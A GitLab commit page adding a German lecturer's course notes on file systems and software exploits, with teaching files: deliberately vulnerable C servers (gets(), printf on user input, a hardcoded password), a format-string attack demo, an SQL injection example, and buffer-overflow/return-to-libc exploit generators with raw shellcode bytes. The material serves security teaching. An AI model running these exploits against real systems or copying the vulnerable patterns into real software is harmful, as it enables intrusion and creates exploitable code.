Skip to content
Snippets Groups Projects
Commit f711c40d authored by Peter Gerwinski's avatar Peter Gerwinski
Browse files

Notizen und Beispiele 11.6.2021

parent b7abef70
Branches
No related tags found
No related merge requests found
ext3-Dateisystem, 11.06.2021, 11:49:19
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Journalling File System: merkt sich, welche Schreiboperationen bereits
abgeschlossen wurden und welche nicht
--> Das Dateisystem ist immer in einem konsistenten Zustand und kann
z.B. bei Stromausfall sofort wiederhergestellt werden.
Weitere Dateisysteme, 11.06.2021, 11:52:19
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- ext4: effizienter im Umgang mit Flash-Speicher
konkret: möglichst selten physikalisch schreiben
- einander überlagernde Dateisysteme,
z.B. nicht-schreibbaren und schreibbaren Datenträger zusammenschalten,
z.B. Docker-Container
Exploits, 10.05.2019
~~~~~~~~~~~~~~~~~~~~
Vorab:
Dies ist keine Einladung, anderer Leute Systeme anzugreifen.
Derartige Handlungen sind Straftaten.
Ich erzähle Ihnen dies, damit Sie wissen,
wie Sie sich gegen derartige Angriffe verteidigen können.
Um es gleich vorwegzunehmen:
Gewöhnen Sie sich von vorneherein an,
sauber und ordentlich zu programmieren.
Anleitungen für Exploits:
http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson1/index.html
http://www.thesprawl.org/research/exploit-exercises-protostar-stack/
Literatur:
Jon Erickson: Hacking: The Art of Exploitation.
No Starch Press, 2003. ISBN: 1-59327-007-0
Anleitung für den GNU-Debugger (gdb):
http://beej.us/guide/bggdb/
Formatstring-Angriff:
printf (user_string) für Exploit nutzen: %016llx
Server, der Passwort auf dem Stack speichert --> server-0.c
$ ./server-0
Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx
Hello, 00000000004007c7 00007fdb2ced2df0 00000000004007c7 00007fdb2d0f3007
20786c6c36313025 6373316870216948 00007fdb2cbd0068 0000007265746570!
~~~~~~~~~~~~~~~~ ~~~~
Your password, please:
SQL Injection: http://xkcd.com/327/
insert into students values ('Robert', 'Lenhard', '3b');
insert into students values ('Robert'); drop table students; --', 'Lenhard', '3b');
Lösung des Problems: Escape-Sequenzen.
Damit ist es möglich, auch ungewöhnliche Zeichen in Strings aufzunehmen.
Vortrag zum Thema Namensvalidierung: https://media.ccc.de/v/rc3-channels-2020-77-your-name-is-invalid-
Noch blöder: Java-Browser-Applet enthält Passwörter im Klartext:
http://heise.de/-2812713
Buffer Overflow für Exploit nutzen: server-[123].c, exploit-*
Warum Absturz? Rücksprungadresse wird überschrieben. Blick auf den Stack.
Funktionsaufruf: Register setzen, Funktion anspringen.
Exploit: Rücksprungadresse gezielt überschreiben.
Früher möglich: Programm in den Stack schreiben, dorthin springen.
Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
Return Oriented Programming erforderlich
genauer: return-to-libc; noch genauer: return-to-plt
Gezielt Winz-Funktionen anspringen, um Register zu setzen,
danach Programm- und Bibliotheksfunktionen anspringen.
Exploits: aktuelle Sicherheitslücke, 28.12.2016, 13:46:05
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Lücke in PHPMailer erlaubt die Ausführung fremden Codes
https://heise.de/-3582072
Exploits, 29.06.2020, 15:38:10
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Früher möglich: Programm in den Stack schreiben, dorthin springen.
Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
Return Oriented Programming erforderlich
genauer: return-to-libc; noch genauer: return-to-plt
Gezielt Winz-Funktionen anspringen, um Register zu setzen,
danach Programm- und Bibliotheksfunktionen anspringen.
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t my_program_address = 0x7fffffffdfa0;
for (int i = 0; i < 0x28; i++)
write (1, "a", 1); // zum Auffüllen, um die Rücksprung-Adresse
write (1, &my_program_address, 8); // überschreiben zu können
write (1, "I 0WN U!", 8);
for (int i = 0; i < 24; i++)
write (1, " ", 1);
write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi hierhin erfolgt der
write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax "Rück-"Sprung
write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt>
write (1, "\xeb\xfe", 2); // while (1);
write (1, "\n", 1);
return 0;
}
File added
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#define OVERFLOW 40
int main (int argc, char **argv)
{
uint64_t mov_rsp_rdi = 0x555555555176;
uint64_t add_offset_to_rdi = 0x55555555517d;
uint64_t dummy = 0;
uint64_t printf_address = 0x555555555040;
uint64_t exit_address = 0x7ffff7e04ea0;
uint8_t overflow[OVERFLOW] = "loser";
uint8_t payload[] = "I 0WN U!!1! "
" ";
write (1, overflow, sizeof (overflow));
write (1, &mov_rsp_rdi, 8);
write (1, &add_offset_to_rdi, 8);
write (1, &printf_address, 8);
write (1, &exit_address, 8);
write (1, &dummy, 8);
write (1, payload, sizeof (payload));
write (1, "\n", 1);
return 0;
}
File added
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#define OVERFLOW 40
int main (int argc, char **argv)
{
uint64_t mov_rsp_rdi = 0x555555555176;
uint64_t add_offset_to_rdi = 0x55555555517d;
uint64_t dummy = 0;
uint64_t system_address = 0x555555555030; // 0x7ffff7e109c0;
uint64_t exit_address = 0x555555555060; // 0x7ffff7e04ea0;
uint8_t overflow[OVERFLOW] = "loser";
uint8_t payload[] = "gimp ../common/os-layers.xcf.gz";
write (1, overflow, sizeof (overflow));
write (1, &mov_rsp_rdi, 8);
write (1, &add_offset_to_rdi, 8);
write (1, &system_address, 8);
write (1, &exit_address, 8);
write (1, &dummy, 8);
write (1, payload, sizeof (payload));
write (1, "\n", 1);
return 0;
}
File added
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main (void)
{
char name_buffer[100];
char *pass_buffer;
char username[] = "peter";
char password[] = "Hi!ph1sch";
printf ("Your name, please: ");
gets (name_buffer);
printf ("Hello, ");
printf (name_buffer);
printf ("!\n");
pass_buffer = getpass ("Your password, please: ");
if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
printf ("You have access.\n");
else
printf ("Login incorrect.\n");
return 0;
}
#include <stdio.h>
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\n", buffer);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
void stuff (void)
{
asm ("mov $0, %eax");
asm ("add $0x28, %rsp");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("mov %rsp, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("add $0x20, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
system ("clear");
exit (0);
}
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\n", buffer);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
void stuff (void)
{
asm ("mov $0, %eax");
asm ("add $0x28, %rsp");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("mov %rsp, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("add $0x20, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
system ("clear");
exit (0);
}
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
fgets (buffer, 20, stdin);
printf ("Hello, %s!\n", buffer);
return 0;
}
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment